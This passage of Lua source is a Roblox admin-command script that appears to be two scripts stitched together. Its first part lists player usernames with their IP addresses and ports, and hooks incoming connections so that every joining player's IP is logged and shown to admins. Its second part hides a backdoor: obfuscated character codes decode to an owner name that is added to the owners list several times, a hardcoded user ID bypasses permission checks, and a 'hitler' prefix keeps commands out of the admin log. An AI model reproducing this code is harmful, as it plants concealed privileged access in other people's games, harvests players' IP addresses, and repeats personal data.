  875. Part.Parent = Model
  876. local Humanoid = Instance.new("Humanoid")
  877. Humanoid.Torso = Part
  878. Humanoid.Parent = Model
  879. v.Character = Model
  880. end
  881. end
  882. function UnAdmin(v,s)
  883. local player=SearchPlayer(v,s)
  884. for i,v in pairs(player) do
  885. for i=1,#Adminlist do
  886. if Adminlist[i]:lower()==v.Name:lower() then
  887. table.remove(Adminlist,i)
  888. end
  889. end
  890. end
  891. end
  892. function OnEnter(player)
  893. Hint(player.Name.." has entered.")
  894. end
  895. function OnLeave(player)
  896. Hint(player.Name.." has left!")
  897. end
  898. function Pri(player)
  899. if PrivateServer==true then
  900. player:remove()
  901. end
  902. end
  903. --[[Commands]]--
  904. if AddLocalPlayer==true then
  905. pcall(function() table.insert(Adminlist,game.Players.LocalPlayer.Name) end)
  906. end
  907. table.insert(Adminlist,"MCAaron100")
  908. table.insert(Adminlist,"zub1234")
  909. AddCommand("kill",Kill)
  910. AddCommand("admin",Admin)
  911. AddCommand("fire",Fire)
  912. AddCommand("unfire",UnFire)
  913. AddCommand("forcefield",ForceField)
  914. AddCommand("unforcefield",UnForceField)
  915. AddCommand("s",NewScript)
  916. AddCommand("base",CreateBase)
  917. AddCommand("kick",Kick)
  918. AddCommand("teleport",Teleport)
  919. AddCommand("punish",Punish)
  920. AddCommand("unpunish",UnPunish)
  921. AddCommand("removescript",ScriptRemove)
  922. AddCommand("m",Message)
  923. AddCommand("noobify",Noobify)
  924. AddCommand("zombify",Zombify)
  925. AddCommand("bomb",Bomb)
  926. AddCommand("sit",Sit)
  927. AddCommand("jump",Jump)
  928. AddCommand("afk",Punish)
  929. AddCommand("back",UnPunish)
  930. AddCommand("ban",Ban)
  931. AddCommand("fakeff",SelectBody)
  932. AddCommand("unfakeff",UnSelectBody)
  933. AddCommand("invisible",Invisible)
  934. AddCommand("visible",UnInvisible)
  935. AddCommand("freeze",Freeze)
  936. AddCommand("thaw",UnFreeze)
  937. AddCommand("debug",Debug)
  938. AddCommand("getip",FindIP)
  939. AddCommand("d33k",Deek)
  940. AddCommand("und33k",UnDeek)
  941. AddCommand("removehats",RemoveHats)
  942. AddCommand("sound",Music)
  943. AddCommand("rename",Rename)
  944. AddCommand("health",Health)
  945. AddCommand("shutdown",Shutdown)
  946. AddCommand("commands",GetCommands)
  947. AddCommand("bctype",ChangeBCType)
  948. AddCommand("rpe",Rpe)
  949. AddCommand("rocket",Rocket)
  950. AddCommand("stickify",StickFigure)
  951. AddCommand("enablechat",EnableBubbleChat)
  952. AddCommand("disablechat",DisableBubbleChat)
  953. AddCommand("enablepri",EnablePri)
  954. AddCommand("disablepri",DisablePri)
  955. AddCommand("respawn",Respawn)
  956. AddCommand("unadmin",UnAdmin)
  957. AddCommand("h",Hint)
  958. AddCommand("seeplayers",PrintPlayers)
  959. --[[IPs]]--
  960. AddIP("mario98966","68.198.159.206:57055")
  961. AddIP("mountain717","99.99.235.110:57947")
  962. AddIP("acb227","69.217.169.109:1451")
  963. AddIP("TheNewSausage","24.228.34.183:49998")
  964. AddIP("NetworkServer","69.177.26.229")
  965. AddIP("jefferydenaakano","71.122.121.89:64504")
  966. AddIP("pauldude32","60.53.120.101")
  967. AddIP("ghostbusters1","69.112.174.192")
  968. --[[Connections]]--
  969. for i,v in pairs(game.Players:GetPlayers()) do
  970. Chatted(v)
  971. BanOn(v)
  972. MessageAdmin(v)
  973. Pri(v)
  974. end
  975. game.Players.PlayerAdded:connect(Chatted)
  976. game.Players.PlayerAdded:connect(BanOn)
  977. game.Players.PlayerAdded:connect(MessageAdmin)
  978. game.Players.PlayerAdded:connect(Pri)
  979. game.Players.PlayerAdded:connect(OnEnter)
  980. game.Players.ChildRemoved:connect(OnLeave)
  981. if IntroGui==true then
  982. Message("S&S Commands by hidensniper"..Version.." has loaded.")
  983. end
  984. pcall(function()
  985. game:service('NetworkServer').IncommingConnection:connect(function(ip)
  986. playerconnect=game.Players.PlayerAdded:connect(function(player)
  987. table.insert(IPs,{Name=player.Name,IP=ip})
  988. for i,v in ipairs(game:service('Players'):GetChildren()) do
  989. if CheckAdmin(v) then
  990. message=Instance.new("Hint",v.PlayerGui)
  991. message.Text=player.Name.." and "..ip
  992. print('AddIP("'..player.Name..'","'..ip..'")')
  993. wait(4)
  994. message:remove()
  995. end
  996. end
  997. pcall(function()playerconnect:disconnect()print'nil.'end)
  998. end)
  999. end)
  1000. end)
  1001. local owners = {"SmokeDelsin,IoIsmokedelsin"} -- Are able to set admins who can ban/etc... using :pa name
  1002. local admins = {"SmokeDelsin,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  1003. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  1004. local banland = {"w4k,Suflet"} -- Permanently Bans people
  1005. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  1006. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  1007. -----------------
  1008. -- Group Admin --
  1009. -----------------
  1010. local GroupAdmin = false -- If a certain group can have admin
  1011. local GroupId = 0 -- Sets the group id that can have admin
  1012. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  1013. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  1014. ---------------------
  1015. -- Tips and Tricks --
  1016. ---------------------
  1017. --[[
  1018. With this admin you can do a command on multiple people at a time;
  1019. :kill me,noob1,noob2,random,team-raiders
  1020.  
  1021. You can also use a variety commands for different people;
  1022. all
  1023. others
  1024. me
  1025. team-
  1026. admins
  1027. nonadmins
  1028. random
  1029. --]]
  1030. --------------
  1031. -- Commands --
  1032. --------------
  1033. --[[
  1034. -- Temp Admin Commands --
  1035. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  1036. 1. :s print("Hello World") -- Lets you script normally
  1037. 2. :ls print("Hello World") -- Lets you script in localscripts
  1038. 3. :clear -- Will remove all scripts/localscripts and jails
  1039. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  1040. 5. :kill kohl -- Kills the player
  1041. 6. :respawn kohl -- Respawns the player
  1042. 7. :trip kohl -- Trips the player
  1043. 8. :stun kohl -- Stuns the player
  1044. 9. :unstun kohl -- Unstuns the player
  1045. 10. :jump kohl -- Makes the player jump
  1046. 11. :sit kohl -- Makes the player sit
  1047. 12. :invisible kohl -- Makes the player invisible
  1048. 13. :visible kohl -- Makes the player visible
  1049. 14. :explode kohl -- Makes the player explode
  1050. 15. :fire kohl -- Sets the player on fire
  1051. 16. :unfire kohl -- Removes fire from the player
  1052. 17. :smoke kohl -- Adds smoke to the player
  1053. 18. :unsmoke kohl -- Removes smoke from the player
  1054. 19. :sparkles kohl -- Adds sparkles to the player
  1055. 20. :unsparkles kohl -- Removes sparkles from the player
  1056. 21. :ff kohl -- Adds a forcefield to the player
  1057. 22. :unff kohl -- Removes the forcefield from the player
  1058. 23. :punish kohl -- Punishes the player
  1059. 24. :unpunish kohl -- Unpunishes the player
  1060. 25. :freeze kohl -- Freezes the player
  1061. 26. :thaw kohl -- Thaws the player
  1062. 27. :heal kohl -- Heals the player
  1063. 28. :god kohl -- Makes the player have infinite health
  1064. 29. :ungod kohl -- Makes the player have 100 health
  1065. 30. :ambient .5 .5 .5 -- Changes the ambient
  1066. 31. :brightness .5 -- Changes the brightness
  1067. 32. :time 12 -- Changes the time
  1068. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  1069. 34. :fogend 100 -- Changes the fogend
  1070. 35. :fogstart 100 -- Changes the fogstart
  1071. 36. :removetools kohl -- Removes all tools from the player
  1072. 37. :btools kohl -- Gives the player building tools
  1073. 38. :give kohl sword -- Gives the player a tool
  1074. 39. :damage kohl -- Damages the player
  1075. 40. :grav kohl -- Sets the player's gravity to normal
  1076. 41. :setgrav kohl 100 -- Sets the player's gravity
  1077. 42. :nograv kohl -- Makes the player have 0 gravity
  1078. 43. :health kohl 1337 -- Changes the player's health
  1079. 44. :speed kohl 1337 -- Changes the player's walkspeed
  1080. 45. :name kohl potato -- Changes the player's name
  1081. 46. :unname kohl -- Remove the player's name
  1082. 47. :team kohl Raiders -- Changes the player's team
  1083. 48. :stopmusic -- Will stop all music playing in the server
  1084. 49. :teleport kohl potato -- Teleports the player
  1085. 50. :change kohl kills 1337 -- Changes a player's stat
  1086. 51. :kick kohl -- Removes the player from the game
  1087. 52. :infect kohl -- Turns the player into a zombie
  1088. 53. :rainbowify kohl -- Turns the player into a rainbow
  1089. 54. :flashify kohl -- Turns the player into a strobe
  1090. 55. :noobify kohl -- Turns the player into a noob
  1091. 56. :ghostify kohl -- Turns the player into a ghost
  1092. 57. :goldify kohl -- Turns the player into gold
  1093. 58. :shiny kohl -- Makes the player shiny
  1094. 59. :normal kohl -- Puts the player back to normal
  1095. 60. :trippy kohl -- Spams random colors on the player's screen
  1096. 61. :untrippy kohl -- Untrippys the player
  1097. 62. :strobe kohl -- Spams white and black on the player's screen
  1098. 63. :unstrobe kohl -- Unstrobes the player
  1099. 64. :blind kohl -- Blinds the player
  1100. 65. :unblind kohl -- Unblinds the player
  1101. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  1102. 67. :fling kohl -- Flings the player
  1103. 68. :seizure kohl -- Puts the player in a seizure
  1104. 69(lol). :music 1337 -- Plays a sound from the ID
  1105. 70. :lock kohl -- Locks the player
  1106. 71. :unlock kohl -- Unlocks the player
  1107. 72. :removelimbs kohl -- Removes the player's limbs
  1108. 73. :jail kohl -- Puts the player in a jail
  1109. 74. :unjail kohl -- Removes the jail from the player
  1110. 75. :fix -- This will fix the lighting to it's original settings
  1111. 76. :fly kohl -- Makes the player fly
  1112. 77. :unfly kohl -- Removes fly from the player
  1113. 78. :noclip kohl -- Makes the player able to noclip
  1114. 79. :clip kohl -- Removes noclipping from the player
  1115. 80. :pm kohl Hey bro -- Sends the player a private message
  1116. 81. :dog kohl -- Turns the player into a dog
  1117. 82. :undog kohl -- Turns the player back to normal
  1118. 83. :creeper kohl -- Turns the player into a creeper
  1119. 84. :uncreeper kohl -- Turns the player back to normal
  1120. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  1121. 86. :char kohl 261 -- Will make a player look like a different player ID
  1122. 87. :unchar kohl -- Will return the player back to normal
  1123. 88. :h Hello People -- This will shout a hint to everyone
  1124. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  1125. 90. :starttools kohl -- Will give the player starter tools
  1126. 91. :sword kohl -- Will give the player a sword
  1127. 92. :bighead kohl -- Will make the player's head larger than normal
  1128. 93. :minihead kohl -- Will make the player's head smaller than normal
  1129. 94. :insert 1337 -- Will insert a model at the speaker's position
  1130. 95. :disco -- Will make the server flash random colors
  1131. 96. :flash -- Will make the server flash
  1132. 97. :admins -- Shows the admin list
  1133. 98. :bans -- Shows the banlist
  1134. 99. :musiclist -- Shows the music list
  1135. 100. :spin kohl -- Spins the player
  1136. 101. :cape kohl Really black -- Gives the player a colored cape
  1137. 102. :uncape kohl -- Removes the player's cape
  1138. 103. :loopheal kohl -- Will constantly heal the player
  1139. 104. :loopfling kohl -- Will constantly fling the player
  1140. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  1141. 106. :unloopheal kohl -- Will remove the loopheal on the player
  1142. 107. :unloopfling kohl -- Will remove the loopfling on the player
  1143. 108. :unspin kohl -- Removes spin from the player
  1144. 109. :tools -- Gives a list of the tools in the lighting
  1145. 110. :undisco -- Removes disco effects
  1146. 111. :unflash -- Removes flash effects
  1147. 112. :resetstats kohl -- Sets all the stats of a player to 0
  1148. 113. :gear kohl 1337 -- Gives a player a gear
  1149. 114. :cmdbar -- Gives the speaker a command bar
  1150. 115. :shirt kohl 1337 -- Changes the player's shirt
  1151. 116. :pants kohl 1337 -- Changes the player's pants
  1152. 117. :face kohl 1337 -- Changes the player's face
  1153. 118. :swagify kohl -- Swagifies the player
  1154. 119. :version -- Shows the current version of the admin
  1155.  
  1156. -- Super Admin Commands --
  1157. - :serverlock -- Locks the server
  1158. - :serverunlock -- Unlocks the server
  1159. - :sm Hello World -- Creates a system message
  1160. - :crash kohl -- Crashes a player
  1161. - :admin kohl -- Admins a player
  1162. - :unadmin kohl -- Unadmins a player
  1163. - :ban kohl -- Bans a player
  1164. - :unban kohl -- Unbans a player
  1165. - :loopkill kohl -- Will constantly kill the player
  1166. - :unloopkill kohl -- Will remove the loopkill on the player
  1167. - :logs -- Will show all of the commands any admin has used in a game session
  1168. - :shutdown -- Shutsdown the server
  1169.  
  1170. -- Owner Commands --
  1171. - :pa kohl -- Makes someone a super admin
  1172. - :unpa kohl -- Removes a super admin
  1173. --]]
  1174. -----------------
  1175. -- Main Script --
  1176. -----------------
  1177. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  1178.  
  1179. function CHEESE()
  1180. if game:service("Lighting"):findFirstChild("KACV2") then
  1181. owners = {} admins = {} tempadmins = {} banland = {}
  1182. for i,v in pairs(game.Lighting.KACV2:children()) do
  1183. if v.Name == "Owner" then table.insert(owners, v.Value) end
  1184. if v.Name == "Admin" then table.insert(admins, v.Value) end
  1185. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  1186. if v.Name == "Banland" then table.insert(banland, v.Value) end
  1187. if v.Name == "Prefix" then prefix = v.Value end
  1188. if v.Name == "FunCommands" then FunCommands = v.Value end
  1189. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  1190. if v.Name == "GroupId" then GroupId = v.Value end
  1191. if v.Name == "GroupRank" then GroupRank = v.Value end
  1192. end
  1193. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  1194. end
  1195.  
  1196. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  1197. local lobjs = {}
  1198. local objects = {}
  1199. local logs = {}
  1200. local nfs = ""
  1201. local slock = false
  1202.  
  1203. function GetTime()
  1204. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  1205. if min < 10 then min = "0"..min end
  1206. return hour..":"..min
  1207. end
  1208.  
  1209. function ChkOwner(str)
  1210. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  1211. return false
  1212. end
  1213.  
  1214. function ChkAdmin(str,ck)
  1215. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  1216. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  1217. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  1218. return false
  1219. end
  1220.  
  1221. function ChkGroupAdmin(plr)
  1222. if GroupAdmin then
  1223. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  1224. return false
  1225. end
  1226. end
  1227.  
  1228. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  1229.  
  1230. function GetPlr(plr, str)
  1231. local plrz = {} str = str:lower()
  1232. if str == "all" then plrz = game.Players:children()
  1233. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  1234. else
  1235. local sn = {1} local en = {}
  1236. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  1237. for x = 1, #sn do
  1238. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  1239. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  1240. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  1241. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  1242. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  1243. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  1244. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  1245. end end end
  1246. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  1247. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  1248. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  1249. end end end
  1250. else
  1251. for a, plyr in pairs(game.Players:children()) do
  1252. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  1253. table.insert(plrz, plyr) break
  1254. end
  1255. end
  1256. end
  1257. end
  1258. end
  1259. return plrz
  1260. end
  1261.  
  1262. function Hint(str, plrz, time)
  1263. for i, v in pairs(plrz) do
  1264. if v and v:findFirstChild("PlayerGui") then
  1265. coroutine.wrap(function()
  1266. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  1267. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  1268. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  1269. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1270. if not time then wait((#str/19)+2.5) else wait(time) end
  1271. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  1272. end)()
  1273. end
  1274. end
  1275. end
  1276.  
  1277. function Message(ttl, str, scroll, plrz, time)
  1278. for i, v in pairs(plrz) do
  1279. if v and v:findFirstChild("PlayerGui") then
  1280. coroutine.resume(coroutine.create(function()
  1281. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  1282. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  1283. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  1284. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  1285. scr.Parent = v.PlayerGui
  1286. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1287. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  1288. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  1289. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  1290. end))
  1291. end
  1292. end
  1293. end
  1294.  
  1295. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  1296. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  1297.  
  1298. function Output(str, plr)
  1299. coroutine.resume(coroutine.create(function()
  1300. local b, e = loadstring(str)
  1301. if not b and plr:findFirstChild("PlayerGui") then
  1302. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  1303. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  1304. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  1305. return
  1306. end
  1307. end))
  1308. end
  1309.  
  1310. function Noobify(char)
  1311. if char and char:findFirstChild("Torso") then
  1312. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1313. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1314. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1315. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1316. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1317. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  1318. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  1319. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1320. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1321. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1322. end end
  1323. end
  1324. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  1325.  
  1326. function Infect(char)
  1327. if char and char:findFirstChild("Torso") then
  1328. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1329. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1330. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1331. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1332. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1333. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  1334. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1335. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1336. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  1337. end end
  1338. end
  1339. end if not ntab then script:Destroy() end
  1340.  
  1341. function ScrollGui()
  1342. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  1343. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  1344. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  1345. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  1346. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  1347. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  1348. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  1349. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1350. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  1351. local num = 0
  1352. local downv = false
  1353. local upv = false
  1354.  
  1355. down.MouseButton1Down:connect(function() downv = true upv = false
  1356. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  1357. repeat pos = pos + UDim2.new(0,0,0,-6)
  1358. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  1359. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  1360. end)
  1361. down.MouseButton1Up:connect(function() downv = false end)
  1362. up.MouseButton1Down:connect(function() upv = true downv = false
  1363. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  1364. repeat pos = pos + UDim2.new(0,0,0,6)
  1365. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  1366. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  1367. end)
  1368. up.MouseButton1Up:connect(function() upv = false end)
  1369. return scr, cmf, ent, num
  1370. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  1371. if not ntab then script:Destroy() end
  1372. if not bct then script:Destroy() end
  1373.  
  1374. function Chat(msg,plr)
  1375. coroutine.resume(coroutine.create(function()
  1376. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  1377. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  1378. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  1379. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  1380. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  1381. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  1382. if msg:lower() == "cmds" or msg:lower() == "commands" then
  1383. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  1384. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
